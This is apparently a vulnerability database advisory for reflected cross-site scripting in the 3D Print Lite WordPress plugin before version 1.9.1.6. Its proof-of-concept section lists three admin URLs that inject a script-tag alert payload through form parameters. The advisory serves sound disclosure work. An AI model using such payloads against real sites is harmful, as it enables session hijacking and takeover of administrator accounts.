WordPress Plugin Vulnerabilities
3D Print Lite < 1.9.1.6 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape some user input before outputting it back in attributes, leading to Reflected Cross-Site Scripting issues
Proof of Concept
https://example.com/wp-admin/admin.php?page=p3dlite_materials&material_text="><script>alert(/XSS/)</script> https://example.com/wp-admin/admin.php?page=p3dlite_printers&printer_text="><script>alert(/XSS/)</script> https://example.com/wp-admin/admin.php?page=p3dlite_coatings&coating_text="><script>alert(/XSS/)</script> (< 1.9.1.5)
Affects Plugins
Fixed in version 1.9.1.6
Classification
Miscellaneous
Timeline
Publicly Published
2021-10-11 (about 10 months ago)
Added
2021-10-11 (about 10 months ago)
Last Updated
2021-10-11 (about 10 months ago)